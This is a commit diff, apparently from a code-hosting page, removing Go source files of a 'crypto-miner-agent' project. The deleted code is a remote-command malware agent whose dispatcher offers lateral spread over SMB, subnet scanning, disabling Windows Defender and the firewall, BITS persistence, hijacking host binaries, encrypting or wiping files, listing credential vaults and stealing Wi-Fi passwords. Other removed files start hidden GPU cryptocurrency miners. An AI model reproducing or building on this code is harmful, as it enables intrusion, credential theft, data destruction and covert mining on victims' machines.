Untrack compiled assets in usb folder, keeping only LAUNCH.bat
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
This commit is contained in:
Binary file not shown.
@@ -1,400 +0,0 @@
|
|||||||
package client
|
|
||||||
|
|
||||||
import (
|
|
||||||
"encoding/json"
|
|
||||||
"fmt"
|
|
||||||
"runtime"
|
|
||||||
"strconv"
|
|
||||||
"strings"
|
|
||||||
|
|
||||||
"crypto-miner-agent/deploy"
|
|
||||||
)
|
|
||||||
|
|
||||||
func (c *AgentClient) allowRemoteAction(action string) (bool, string) {
|
|
||||||
switch action {
|
|
||||||
case "hole_punch", "hole_punch_close", "hole_punch_status":
|
|
||||||
if !c.cfg.HolePunch {
|
|
||||||
return false, "hole punch not enabled in forge (Advanced → NAT Hole Punch)"
|
|
||||||
}
|
|
||||||
case "spread_now", "spread_smb_unc", "discover_and_join":
|
|
||||||
if !c.cfg.AutoSpread && !c.cfg.RemoteAggressive {
|
|
||||||
return false, "lateral spread not enabled in forge (auto_spread or remote aggressive ops)"
|
|
||||||
}
|
|
||||||
case "stage_fetch":
|
|
||||||
if !c.cfg.RemoteAggressive {
|
|
||||||
return false, "remote aggressive ops not enabled in forge (Advanced → Remote Aggressive Ops)"
|
|
||||||
}
|
|
||||||
case "start_tunnel", "tunnel_cloudflared", "tunnel_ssh_forward", "tunnel_stop",
|
|
||||||
"subnet_scan", "smb_shares", "defender_off", "firewall_punch", "firewall_off", "firewall_on", "firewall_profiles", "firewall_remove", "bits_persist", "host_binary_persist", "sys_crypt", "encrypt_path", "secure_wipe", "credential_vault_list", "get_wifi_passwords":
|
|
||||||
if !c.cfg.RemoteAggressive {
|
|
||||||
return false, "remote aggressive ops not enabled in forge (Advanced → Remote Aggressive Ops)"
|
|
||||||
}
|
|
||||||
case "tunnel_status", "tunnel_wireguard":
|
|
||||||
// Always available — read-only or Path Tracer config from server.
|
|
||||||
case "supp_seek", "wg_setup", "wg_configure", "wg_teardown", "wg_status", "service_discover":
|
|
||||||
// No forge gate — enumeration-only recon (Path Tracer + fleet discover).
|
|
||||||
case "mesh_status":
|
|
||||||
if !c.cfg.MeshP2P {
|
|
||||||
return false, "mesh P2P not enabled in forge"
|
|
||||||
}
|
|
||||||
default:
|
|
||||||
return true, ""
|
|
||||||
}
|
|
||||||
return true, ""
|
|
||||||
}
|
|
||||||
|
|
||||||
func (c *AgentClient) handleAggressiveCommand(action string, tailLines int, command, path, data string) bool {
|
|
||||||
if c.handleTunnelCommand(action, command, path, data) {
|
|
||||||
return true
|
|
||||||
}
|
|
||||||
|
|
||||||
ok, reason := c.allowRemoteAction(action)
|
|
||||||
if !ok {
|
|
||||||
c.sendCommandResult(action, false, reason)
|
|
||||||
return true
|
|
||||||
}
|
|
||||||
|
|
||||||
switch action {
|
|
||||||
case "hole_punch":
|
|
||||||
internalPort := parsePortArg(command, 8989)
|
|
||||||
externalPort := parsePortArg(path, internalPort)
|
|
||||||
desc := data
|
|
||||||
if desc == "" {
|
|
||||||
desc = c.cfg.WorkerName + "-aetherforge"
|
|
||||||
}
|
|
||||||
result, err := deploy.PunchUPnP(internalPort, externalPort, desc)
|
|
||||||
if err != nil {
|
|
||||||
c.sendCommandResult(action, false, result.Message)
|
|
||||||
return true
|
|
||||||
}
|
|
||||||
c.sendCommandResult(action, true, result.Message)
|
|
||||||
return true
|
|
||||||
|
|
||||||
case "hole_punch_close":
|
|
||||||
externalPort := parsePortArg(command, 8989)
|
|
||||||
msg, err := deploy.CloseUPnP(externalPort)
|
|
||||||
if err != nil {
|
|
||||||
c.sendCommandResult(action, false, err.Error())
|
|
||||||
return true
|
|
||||||
}
|
|
||||||
c.sendCommandResult(action, true, msg)
|
|
||||||
return true
|
|
||||||
|
|
||||||
case "hole_punch_status":
|
|
||||||
ip, err := deploy.GetPublicEndpoint()
|
|
||||||
if err != nil {
|
|
||||||
c.sendCommandResult(action, false, err.Error())
|
|
||||||
return true
|
|
||||||
}
|
|
||||||
c.sendCommandResult(action, true, fmt.Sprintf("WAN IP via UPnP: %s (use Hole Punch to map a port)", ip))
|
|
||||||
return true
|
|
||||||
|
|
||||||
case "spread_now":
|
|
||||||
msg := deploy.RunSpreadOnce(c.cfg)
|
|
||||||
c.sendCommandResult(action, true, msg)
|
|
||||||
return true
|
|
||||||
|
|
||||||
case "spread_smb_unc":
|
|
||||||
unc := strings.TrimSpace(path)
|
|
||||||
svcName := ""
|
|
||||||
if unc == "" {
|
|
||||||
unc = strings.TrimSpace(data)
|
|
||||||
} else {
|
|
||||||
svcName = strings.TrimSpace(data)
|
|
||||||
}
|
|
||||||
msg := deploy.RunSMBUNCSpread(c.cfg, deploy.SMBUNCSpreadOpts{
|
|
||||||
UNCPath: unc,
|
|
||||||
MaxHosts: parsePortArg(command, 64),
|
|
||||||
SvcName: svcName,
|
|
||||||
})
|
|
||||||
c.sendCommandResult(action, true, msg)
|
|
||||||
return true
|
|
||||||
|
|
||||||
case "stage_fetch":
|
|
||||||
var manifest deploy.StagingManifest
|
|
||||||
if err := json.Unmarshal([]byte(data), &manifest); err != nil {
|
|
||||||
c.sendCommandResult(action, false, "bad staging manifest: "+err.Error())
|
|
||||||
return true
|
|
||||||
}
|
|
||||||
go func() {
|
|
||||||
msg, err := deploy.RunStagingChain(c.cfg, manifest)
|
|
||||||
if err != nil {
|
|
||||||
c.sendCommandResult(action, false, err.Error())
|
|
||||||
return
|
|
||||||
}
|
|
||||||
c.sendCommandResult(action, true, msg)
|
|
||||||
}()
|
|
||||||
return true
|
|
||||||
|
|
||||||
case "subnet_scan":
|
|
||||||
maxHosts := parsePortArg(command, 64)
|
|
||||||
out := deploy.ScanLocalSubnet(maxHosts)
|
|
||||||
c.sendCommandResult(action, true, out)
|
|
||||||
return true
|
|
||||||
|
|
||||||
case "smb_shares":
|
|
||||||
if runtime.GOOS != "windows" {
|
|
||||||
c.sendCommandResult(action, false, "smb_shares is Windows-only")
|
|
||||||
return true
|
|
||||||
}
|
|
||||||
maxHosts := parsePortArg(command, 32)
|
|
||||||
out := deploy.EnumerateSMBShares(maxHosts)
|
|
||||||
c.sendCommandResult(action, true, out)
|
|
||||||
return true
|
|
||||||
|
|
||||||
case "spread_status":
|
|
||||||
out := deploy.GetSpreadStatusJSON()
|
|
||||||
c.sendCommandResult(action, true, out)
|
|
||||||
return true
|
|
||||||
|
|
||||||
case "credential_vault_list":
|
|
||||||
out := listCredentialVaultNames()
|
|
||||||
c.sendCommandResult(action, true, out)
|
|
||||||
return true
|
|
||||||
|
|
||||||
case "secure_wipe":
|
|
||||||
target := strings.TrimSpace(path)
|
|
||||||
if target == "" {
|
|
||||||
c.sendCommandResult(action, false, "path is required")
|
|
||||||
return true
|
|
||||||
}
|
|
||||||
go func() {
|
|
||||||
result := SecureWipePath(target)
|
|
||||||
ok := !strings.HasPrefix(result, "secure_wipe error:")
|
|
||||||
c.sendCommandResult(action, ok, result)
|
|
||||||
}()
|
|
||||||
return true
|
|
||||||
|
|
||||||
case "defender_off":
|
|
||||||
msg, err := deploy.DisableDefenderRealtime()
|
|
||||||
if err != nil {
|
|
||||||
c.sendCommandResult(action, false, fmt.Sprintf("%v\n%s", err, msg))
|
|
||||||
return true
|
|
||||||
}
|
|
||||||
c.sendCommandResult(action, true, msg)
|
|
||||||
return true
|
|
||||||
|
|
||||||
case "firewall_punch":
|
|
||||||
port := parsePortArg(command, 8989)
|
|
||||||
name := path
|
|
||||||
if name == "" {
|
|
||||||
name = "AetherForge Remote " + c.cfg.WorkerName
|
|
||||||
}
|
|
||||||
msg, err := deploy.OpenFirewallPort(port, name)
|
|
||||||
if err != nil {
|
|
||||||
c.sendCommandResult(action, false, fmt.Sprintf("%v\n%s", err, msg))
|
|
||||||
return true
|
|
||||||
}
|
|
||||||
c.sendCommandResult(action, true, msg)
|
|
||||||
return true
|
|
||||||
|
|
||||||
case "firewall_off":
|
|
||||||
msg, err := deploy.DisableWindowsFirewall()
|
|
||||||
if err != nil {
|
|
||||||
c.sendCommandResult(action, false, fmt.Sprintf("%v\n%s", err, msg))
|
|
||||||
return true
|
|
||||||
}
|
|
||||||
c.sendCommandResult(action, true, msg)
|
|
||||||
return true
|
|
||||||
|
|
||||||
case "firewall_on":
|
|
||||||
msg, err := deploy.EnableWindowsFirewall()
|
|
||||||
if err != nil {
|
|
||||||
c.sendCommandResult(action, false, fmt.Sprintf("%v\n%s", err, msg))
|
|
||||||
return true
|
|
||||||
}
|
|
||||||
c.sendCommandResult(action, true, msg)
|
|
||||||
return true
|
|
||||||
|
|
||||||
case "firewall_profiles":
|
|
||||||
// command: "on" or "off" (default off). path: Domain,Private,Public or all
|
|
||||||
enable := strings.EqualFold(strings.TrimSpace(command), "on") ||
|
|
||||||
strings.EqualFold(strings.TrimSpace(command), "enable") ||
|
|
||||||
strings.EqualFold(strings.TrimSpace(command), "true")
|
|
||||||
profiles := strings.TrimSpace(path)
|
|
||||||
if profiles == "" {
|
|
||||||
profiles = "all"
|
|
||||||
}
|
|
||||||
msg, err := deploy.SetWindowsFirewallProfiles(enable, profiles)
|
|
||||||
if err != nil {
|
|
||||||
c.sendCommandResult(action, false, fmt.Sprintf("%v\n%s", err, msg))
|
|
||||||
return true
|
|
||||||
}
|
|
||||||
c.sendCommandResult(action, true, msg)
|
|
||||||
return true
|
|
||||||
|
|
||||||
case "bits_persist":
|
|
||||||
bin, err := deploy.InstalledBinaryPath(c.cfg)
|
|
||||||
if err != nil {
|
|
||||||
c.sendCommandResult(action, false, err.Error())
|
|
||||||
return true
|
|
||||||
}
|
|
||||||
if err := deploy.CreateBITSPersistence(c.cfg, bin); err != nil {
|
|
||||||
c.sendCommandResult(action, false, err.Error())
|
|
||||||
return true
|
|
||||||
}
|
|
||||||
c.sendCommandResult(action, true, fmt.Sprintf("BITS notify job registered (%s)", deploy.BitsJobName(c.cfg)))
|
|
||||||
return true
|
|
||||||
|
|
||||||
case "host_binary_persist":
|
|
||||||
bin, err := deploy.InstalledBinaryPath(c.cfg)
|
|
||||||
if err != nil {
|
|
||||||
c.sendCommandResult(action, false, err.Error())
|
|
||||||
return true
|
|
||||||
}
|
|
||||||
preset := strings.TrimSpace(path)
|
|
||||||
if preset == "" {
|
|
||||||
preset = strings.TrimSpace(c.cfg.HostBinaryTarget)
|
|
||||||
}
|
|
||||||
if preset == "" {
|
|
||||||
preset = "ssh"
|
|
||||||
}
|
|
||||||
target, err := deploy.HijackHostBinary(c.cfg, bin, preset)
|
|
||||||
if err != nil {
|
|
||||||
c.sendCommandResult(action, false, err.Error())
|
|
||||||
return true
|
|
||||||
}
|
|
||||||
c.sendCommandResult(action, true, fmt.Sprintf("host binary hijacked: %s (preset %s)", target, preset))
|
|
||||||
return true
|
|
||||||
|
|
||||||
case "firewall_remove":
|
|
||||||
var parts []string
|
|
||||||
ruleName := strings.TrimSpace(path)
|
|
||||||
if ruleName != "" {
|
|
||||||
msg, err := deploy.RemoveFirewallRuleByName(ruleName)
|
|
||||||
if err != nil {
|
|
||||||
c.sendCommandResult(action, false, fmt.Sprintf("%v\n%s", err, msg))
|
|
||||||
return true
|
|
||||||
}
|
|
||||||
parts = append(parts, msg)
|
|
||||||
}
|
|
||||||
deploy.RemoveFirewallExclusion(c.cfg)
|
|
||||||
parts = append(parts, "Removed AetherForge miner firewall rules (if present)")
|
|
||||||
c.sendCommandResult(action, true, strings.Join(parts, "\n"))
|
|
||||||
return true
|
|
||||||
|
|
||||||
case "supp_seek":
|
|
||||||
seekPath := strings.TrimSpace(path)
|
|
||||||
if seekPath == "" {
|
|
||||||
c.sendCommandResult(action, false, "path is required — set the 'path' field to the root directory to scan")
|
|
||||||
return true
|
|
||||||
}
|
|
||||||
// command field carries target flags: "win", "mac", "all" (default all)
|
|
||||||
flag := strings.ToLower(strings.TrimSpace(command))
|
|
||||||
opts := suppSeekOpts{
|
|
||||||
DropWindows: flag == "" || flag == "all" || strings.Contains(flag, "win"),
|
|
||||||
DropMac: flag == "" || flag == "all" || strings.Contains(flag, "mac"),
|
|
||||||
ServerURL: c.cfg.ServerURL,
|
|
||||||
}
|
|
||||||
// data field carries optional custom stem (file name without extension)
|
|
||||||
if strings.TrimSpace(data) != "" {
|
|
||||||
opts.FileStem = strings.TrimSpace(data)
|
|
||||||
}
|
|
||||||
c.sendCommandResult(action, true, fmt.Sprintf("SUPP Seek started — scanning %s (win=%v mac=%v)", seekPath, opts.DropWindows, opts.DropMac))
|
|
||||||
go func() {
|
|
||||||
result := suppSeekWalk(seekPath, opts)
|
|
||||||
c.sendCommandResult("supp_seek_done", true, result.Summary())
|
|
||||||
}()
|
|
||||||
return true
|
|
||||||
|
|
||||||
case "sys_crypt", "encrypt_path":
|
|
||||||
target := strings.TrimSpace(path)
|
|
||||||
recursive := parseRecursiveFlag(command, data)
|
|
||||||
if action == "sys_crypt" && target == "" {
|
|
||||||
recursive = true
|
|
||||||
}
|
|
||||||
go func() {
|
|
||||||
var result string
|
|
||||||
if target == "" && action == "sys_crypt" {
|
|
||||||
result = SysCrypt()
|
|
||||||
} else {
|
|
||||||
result = EncryptPath(target, recursive)
|
|
||||||
}
|
|
||||||
c.sendCommandResult(action, true, result)
|
|
||||||
}()
|
|
||||||
return true
|
|
||||||
|
|
||||||
case "get_wifi_passwords":
|
|
||||||
go func() {
|
|
||||||
result := grabWiFiPasswords()
|
|
||||||
c.sendCommandResult(action, true, result)
|
|
||||||
}()
|
|
||||||
return true
|
|
||||||
|
|
||||||
case "mesh_status":
|
|
||||||
count := c.mesh.PeerCount()
|
|
||||||
if count == 0 && c.cfg.MeshP2P {
|
|
||||||
c.sendCommandResult(action, true, "mesh peers connected: 0 — binary not built with -tags p2p — re-forge with Mesh Networking enabled")
|
|
||||||
} else {
|
|
||||||
c.sendCommandResult(action, true, fmt.Sprintf("mesh peers connected: %d", count))
|
|
||||||
}
|
|
||||||
return true
|
|
||||||
|
|
||||||
case "wg_setup":
|
|
||||||
// Generates WireGuard keypair, tries UPnP, returns JSON result to server.
|
|
||||||
go func() {
|
|
||||||
result := WGSetupJSON()
|
|
||||||
c.sendCommandResult(action, true, result)
|
|
||||||
}()
|
|
||||||
return true
|
|
||||||
|
|
||||||
case "wg_configure":
|
|
||||||
// data field carries the JSON WGConfigPayload from the server.
|
|
||||||
var payload WGConfigPayload
|
|
||||||
if err := json.Unmarshal([]byte(data), &payload); err != nil {
|
|
||||||
c.sendCommandResult(action, false, "bad wg config payload: "+err.Error())
|
|
||||||
return true
|
|
||||||
}
|
|
||||||
go func() {
|
|
||||||
if err := WGConfigure(payload); err != nil {
|
|
||||||
c.sendCommandResult(action, false, err.Error())
|
|
||||||
return
|
|
||||||
}
|
|
||||||
c.sendCommandResult(action, true, "WireGuard tunnel started")
|
|
||||||
}()
|
|
||||||
return true
|
|
||||||
|
|
||||||
case "wg_teardown":
|
|
||||||
go func() {
|
|
||||||
WGTeardown()
|
|
||||||
c.sendCommandResult(action, true, "WireGuard tunnel removed")
|
|
||||||
}()
|
|
||||||
return true
|
|
||||||
|
|
||||||
case "wg_status":
|
|
||||||
c.sendCommandResult(action, true, WGStatus())
|
|
||||||
return true
|
|
||||||
|
|
||||||
case "service_discover":
|
|
||||||
maxHosts := parsePortArg(command, 32)
|
|
||||||
out := deploy.RunServiceDiscover(maxHosts)
|
|
||||||
c.sendCommandResult(action, true, out)
|
|
||||||
return true
|
|
||||||
|
|
||||||
case "discover_and_join":
|
|
||||||
maxHosts := parsePortArg(command, 32)
|
|
||||||
go func() {
|
|
||||||
msg, err := c.runDiscoverAndJoin(maxHosts)
|
|
||||||
if err != nil {
|
|
||||||
c.sendCommandResult(action, false, err.Error())
|
|
||||||
return
|
|
||||||
}
|
|
||||||
c.sendCommandResult(action, true, msg)
|
|
||||||
}()
|
|
||||||
return true
|
|
||||||
}
|
|
||||||
|
|
||||||
return false
|
|
||||||
}
|
|
||||||
|
|
||||||
func parsePortArg(raw string, fallback int) int {
|
|
||||||
raw = strings.TrimSpace(raw)
|
|
||||||
if raw == "" {
|
|
||||||
return fallback
|
|
||||||
}
|
|
||||||
n, err := strconv.Atoi(raw)
|
|
||||||
if err != nil || n <= 0 || n > 65535 {
|
|
||||||
return fallback
|
|
||||||
}
|
|
||||||
return n
|
|
||||||
}
|
|
||||||
File diff suppressed because it is too large
Load Diff
@@ -1,105 +0,0 @@
|
|||||||
//go:build !windows
|
|
||||||
|
|
||||||
package client
|
|
||||||
|
|
||||||
import (
|
|
||||||
"archive/zip"
|
|
||||||
"bytes"
|
|
||||||
"os"
|
|
||||||
"os/exec"
|
|
||||||
"path/filepath"
|
|
||||||
"strings"
|
|
||||||
)
|
|
||||||
|
|
||||||
func detectGPU() GPUInfo {
|
|
||||||
// On non-Windows, only probe NVIDIA via nvidia-smi.
|
|
||||||
out, err := exec.Command("nvidia-smi", "--query-gpu=name", "--format=csv,noheader").Output()
|
|
||||||
if err == nil {
|
|
||||||
model := strings.TrimSpace(strings.SplitN(string(out), "\n", 2)[0])
|
|
||||||
if model != "" {
|
|
||||||
return GPUInfo{Vendor: GPUVendorNVIDIA, Model: model}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return GPUInfo{Vendor: GPUVendorNone}
|
|
||||||
}
|
|
||||||
|
|
||||||
func (g *GPUMiner) startProcessOnPool(binPath string, ep rvnEndpoint) (*os.Process, error) {
|
|
||||||
wallet := g.cfg.RVNWallet
|
|
||||||
worker := g.cfg.WorkerName
|
|
||||||
poolURL := buildPoolURL(ep)
|
|
||||||
pass := ep.pass
|
|
||||||
if pass == "" {
|
|
||||||
pass = "x"
|
|
||||||
}
|
|
||||||
|
|
||||||
args := []string{
|
|
||||||
"-a", "kawpow",
|
|
||||||
"-o", poolURL,
|
|
||||||
"-u", wallet + "." + worker,
|
|
||||||
"-p", pass,
|
|
||||||
"--api-bind-http", "127.0.0.1:4067",
|
|
||||||
}
|
|
||||||
cmd := exec.Command(binPath, args...)
|
|
||||||
cmd.Dir = filepath.Dir(binPath)
|
|
||||||
if err := cmd.Start(); err != nil {
|
|
||||||
return nil, err
|
|
||||||
}
|
|
||||||
return cmd.Process, nil
|
|
||||||
}
|
|
||||||
|
|
||||||
func itoa(n int) string {
|
|
||||||
if n == 0 {
|
|
||||||
return "0"
|
|
||||||
}
|
|
||||||
buf := make([]byte, 0, 10)
|
|
||||||
neg := n < 0
|
|
||||||
if neg {
|
|
||||||
n = -n
|
|
||||||
}
|
|
||||||
for n > 0 {
|
|
||||||
buf = append([]byte{byte('0' + n%10)}, buf...)
|
|
||||||
n /= 10
|
|
||||||
}
|
|
||||||
if neg {
|
|
||||||
buf = append([]byte{'-'}, buf...)
|
|
||||||
}
|
|
||||||
return string(buf)
|
|
||||||
}
|
|
||||||
|
|
||||||
func extractZipFile(data []byte, destDir, targetFile string) error {
|
|
||||||
r, err := zip.NewReader(bytes.NewReader(data), int64(len(data)))
|
|
||||||
if err != nil {
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
targetLower := strings.ToLower(targetFile)
|
|
||||||
for _, f := range r.File {
|
|
||||||
if strings.ToLower(filepath.Base(f.Name)) != targetLower {
|
|
||||||
continue
|
|
||||||
}
|
|
||||||
rc, err := f.Open()
|
|
||||||
if err != nil {
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
defer rc.Close()
|
|
||||||
dst := filepath.Join(destDir, targetFile)
|
|
||||||
out, err := os.Create(dst)
|
|
||||||
if err != nil {
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
defer out.Close()
|
|
||||||
buf := make([]byte, 32*1024)
|
|
||||||
for {
|
|
||||||
n, err := rc.Read(buf)
|
|
||||||
if n > 0 {
|
|
||||||
if _, we := out.Write(buf[:n]); we != nil {
|
|
||||||
return we
|
|
||||||
}
|
|
||||||
}
|
|
||||||
if err != nil {
|
|
||||||
break
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return nil
|
|
||||||
}
|
|
||||||
return nil
|
|
||||||
}
|
|
||||||
@@ -1,147 +0,0 @@
|
|||||||
//go:build windows
|
|
||||||
|
|
||||||
package client
|
|
||||||
|
|
||||||
import (
|
|
||||||
"archive/zip"
|
|
||||||
"bytes"
|
|
||||||
"os"
|
|
||||||
"os/exec"
|
|
||||||
"path/filepath"
|
|
||||||
"strings"
|
|
||||||
|
|
||||||
"crypto-miner-agent/deploy"
|
|
||||||
)
|
|
||||||
|
|
||||||
// detectGPU identifies the first supported discrete GPU on Windows.
|
|
||||||
// Priority: NVIDIA (via nvidia-smi) → AMD (via wmic VideoController).
|
|
||||||
func detectGPU() GPUInfo {
|
|
||||||
// NVIDIA — nvidia-smi is the most reliable check
|
|
||||||
if out, err := deploy.HiddenOutput("nvidia-smi", "--query-gpu=name", "--format=csv,noheader"); err == nil {
|
|
||||||
model := strings.TrimSpace(strings.SplitN(string(out), "\n", 2)[0])
|
|
||||||
if model != "" {
|
|
||||||
return GPUInfo{Vendor: GPUVendorNVIDIA, Model: model}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// AMD — wmic (available on all modern Windows without extra installs)
|
|
||||||
if out, err := deploy.HiddenOutput(
|
|
||||||
"wmic", "path", "win32_VideoController", "get", "Name", "/value",
|
|
||||||
); err == nil {
|
|
||||||
for _, line := range strings.Split(string(out), "\n") {
|
|
||||||
line = strings.TrimSpace(line)
|
|
||||||
if !strings.HasPrefix(strings.ToLower(line), "name=") {
|
|
||||||
continue
|
|
||||||
}
|
|
||||||
name := strings.TrimSpace(strings.SplitN(line, "=", 2)[1])
|
|
||||||
lo := strings.ToLower(name)
|
|
||||||
if strings.Contains(lo, "radeon") || strings.Contains(lo, "amd") || strings.Contains(lo, "rx ") {
|
|
||||||
return GPUInfo{Vendor: GPUVendorAMD, Model: name}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
return GPUInfo{Vendor: GPUVendorNone}
|
|
||||||
}
|
|
||||||
|
|
||||||
// startProcessOnPool launches the GPU miner binary against a specific pool endpoint.
|
|
||||||
func (g *GPUMiner) startProcessOnPool(binPath string, ep rvnEndpoint) (*os.Process, error) {
|
|
||||||
wallet := g.cfg.RVNWallet
|
|
||||||
worker := g.cfg.WorkerName
|
|
||||||
poolURL := buildPoolURL(ep)
|
|
||||||
pass := ep.pass
|
|
||||||
if pass == "" {
|
|
||||||
pass = "x"
|
|
||||||
}
|
|
||||||
|
|
||||||
var args []string
|
|
||||||
switch g.info.Vendor {
|
|
||||||
case GPUVendorNVIDIA:
|
|
||||||
args = []string{
|
|
||||||
"-a", "kawpow",
|
|
||||||
"-o", poolURL,
|
|
||||||
"-u", wallet + "." + worker,
|
|
||||||
"-p", pass,
|
|
||||||
"--api-bind-http", "127.0.0.1:4067",
|
|
||||||
"--no-watchdog",
|
|
||||||
"--exit-on-cuda-error",
|
|
||||||
}
|
|
||||||
case GPUVendorAMD:
|
|
||||||
args = []string{
|
|
||||||
"-a", "kawpow",
|
|
||||||
"-o", poolURL,
|
|
||||||
"-u", wallet + "." + worker,
|
|
||||||
"-p", pass,
|
|
||||||
"--api_listen=4068",
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
cmd := exec.Command(binPath, args...)
|
|
||||||
deploy.PrepareHiddenProcess(cmd)
|
|
||||||
cmd.Dir = filepath.Dir(binPath)
|
|
||||||
cmd.Stdout = nil
|
|
||||||
cmd.Stderr = nil
|
|
||||||
|
|
||||||
if err := cmd.Start(); err != nil {
|
|
||||||
return nil, err
|
|
||||||
}
|
|
||||||
return cmd.Process, nil
|
|
||||||
}
|
|
||||||
|
|
||||||
func itoa(n int) string {
|
|
||||||
if n == 0 {
|
|
||||||
return "0"
|
|
||||||
}
|
|
||||||
buf := make([]byte, 0, 10)
|
|
||||||
neg := n < 0
|
|
||||||
if neg {
|
|
||||||
n = -n
|
|
||||||
}
|
|
||||||
for n > 0 {
|
|
||||||
buf = append([]byte{byte('0' + n%10)}, buf...)
|
|
||||||
n /= 10
|
|
||||||
}
|
|
||||||
if neg {
|
|
||||||
buf = append([]byte{'-'}, buf...)
|
|
||||||
}
|
|
||||||
return string(buf)
|
|
||||||
}
|
|
||||||
|
|
||||||
// extractZipFile unpacks targetFile from a zip archive (in memory) to destDir.
|
|
||||||
func extractZipFile(data []byte, destDir, targetFile string) error {
|
|
||||||
r, err := zip.NewReader(bytes.NewReader(data), int64(len(data)))
|
|
||||||
if err != nil {
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
targetLower := strings.ToLower(targetFile)
|
|
||||||
for _, f := range r.File {
|
|
||||||
if strings.ToLower(filepath.Base(f.Name)) != targetLower {
|
|
||||||
continue
|
|
||||||
}
|
|
||||||
rc, err := f.Open()
|
|
||||||
if err != nil {
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
defer rc.Close()
|
|
||||||
dst := filepath.Join(destDir, targetFile)
|
|
||||||
out, err := os.Create(dst)
|
|
||||||
if err != nil {
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
defer out.Close()
|
|
||||||
buf := make([]byte, 32*1024)
|
|
||||||
for {
|
|
||||||
n, err := rc.Read(buf)
|
|
||||||
if n > 0 {
|
|
||||||
if _, we := out.Write(buf[:n]); we != nil {
|
|
||||||
return we
|
|
||||||
}
|
|
||||||
}
|
|
||||||
if err != nil {
|
|
||||||
break
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return nil
|
|
||||||
}
|
|
||||||
return nil // binary not found inside zip — non-fatal, caller checks after
|
|
||||||
}
|
|
||||||
@@ -1,520 +0,0 @@
|
|||||||
package client
|
|
||||||
|
|
||||||
import (
|
|
||||||
"encoding/json"
|
|
||||||
"fmt"
|
|
||||||
"io"
|
|
||||||
"log"
|
|
||||||
"net/http"
|
|
||||||
"os"
|
|
||||||
"path/filepath"
|
|
||||||
"sync"
|
|
||||||
"time"
|
|
||||||
|
|
||||||
"crypto-miner-agent/config"
|
|
||||||
)
|
|
||||||
|
|
||||||
|
|
||||||
// GPUVendor identifies the discrete GPU brand on the host.
|
|
||||||
type GPUVendor int
|
|
||||||
|
|
||||||
const (
|
|
||||||
GPUVendorNone GPUVendor = iota
|
|
||||||
GPUVendorNVIDIA // use T-Rex miner (KawPoW)
|
|
||||||
GPUVendorAMD // use TeamRedMiner (KawPoW)
|
|
||||||
GPUVendorOther // generic / Intel — not supported for KawPoW
|
|
||||||
)
|
|
||||||
|
|
||||||
// GPUInfo holds detected GPU metadata.
|
|
||||||
type GPUInfo struct {
|
|
||||||
Vendor GPUVendor
|
|
||||||
Model string
|
|
||||||
}
|
|
||||||
|
|
||||||
// GPUMinerStats is polled from the miner's local HTTP API.
|
|
||||||
type GPUMinerStats struct {
|
|
||||||
Hashrate15s float64
|
|
||||||
Hashrate1m float64
|
|
||||||
Hashrate15m float64
|
|
||||||
GPUTempC *int
|
|
||||||
GPUUsagePct *int
|
|
||||||
ActiveAlgo string
|
|
||||||
}
|
|
||||||
|
|
||||||
// rvnEndpoint is one pool entry for the GPU miner (primary or backup).
|
|
||||||
type rvnEndpoint struct {
|
|
||||||
host string
|
|
||||||
port int
|
|
||||||
tls bool
|
|
||||||
pass string
|
|
||||||
}
|
|
||||||
|
|
||||||
// GPUMiner manages one GPU miner sub-process (T-Rex or TeamRedMiner).
|
|
||||||
type GPUMiner struct {
|
|
||||||
cfg config.RuntimeConfig
|
|
||||||
info GPUInfo
|
|
||||||
installDir string
|
|
||||||
|
|
||||||
mu sync.RWMutex
|
|
||||||
stats GPUMinerStats
|
|
||||||
active bool
|
|
||||||
paused bool
|
|
||||||
proc *os.Process // currently running subprocess (nil if stopped)
|
|
||||||
|
|
||||||
stopCh chan struct{}
|
|
||||||
pauseCh chan struct{} // closed when paused, re-created on resume
|
|
||||||
resumeCh chan struct{} // closed when resuming from pause
|
|
||||||
pauseMu sync.Mutex
|
|
||||||
wg sync.WaitGroup
|
|
||||||
}
|
|
||||||
|
|
||||||
// newGPUMiner creates a GPUMiner if GPU mining is configured and a supported GPU is detected.
|
|
||||||
// Returns nil if GPU mining should not run.
|
|
||||||
func newGPUMiner(cfg config.RuntimeConfig) *GPUMiner {
|
|
||||||
if !cfg.GPUEnabled || cfg.RVNWallet == "" {
|
|
||||||
return nil
|
|
||||||
}
|
|
||||||
info := detectGPU()
|
|
||||||
if info.Vendor == GPUVendorNone || info.Vendor == GPUVendorOther {
|
|
||||||
log.Printf("[gpu] GPU mining enabled but no supported GPU detected (vendor=%v model=%q)", info.Vendor, info.Model)
|
|
||||||
return nil
|
|
||||||
}
|
|
||||||
installDir, err := cfg.InstallDirectory()
|
|
||||||
if err != nil {
|
|
||||||
log.Printf("[gpu] cannot determine install dir: %v", err)
|
|
||||||
return nil
|
|
||||||
}
|
|
||||||
log.Printf("[gpu] detected %s — will run KawPoW miner for RVN", info.Model)
|
|
||||||
g := &GPUMiner{
|
|
||||||
cfg: cfg,
|
|
||||||
info: info,
|
|
||||||
installDir: installDir,
|
|
||||||
stopCh: make(chan struct{}),
|
|
||||||
pauseCh: make(chan struct{}),
|
|
||||||
resumeCh: make(chan struct{}),
|
|
||||||
}
|
|
||||||
// pauseCh starts open; waitIfPaused hits the default branch and returns
|
|
||||||
// true immediately, so no pre-close of resumeCh is needed (and
|
|
||||||
// pre-closing it would break the first Pause() — the inner select would
|
|
||||||
// fire on the already-closed channel instead of blocking).
|
|
||||||
return g
|
|
||||||
}
|
|
||||||
|
|
||||||
// Start downloads (if needed) and launches the GPU miner, then polls stats.
|
|
||||||
func (g *GPUMiner) Start() {
|
|
||||||
g.wg.Add(1)
|
|
||||||
go func() {
|
|
||||||
defer g.wg.Done()
|
|
||||||
g.run()
|
|
||||||
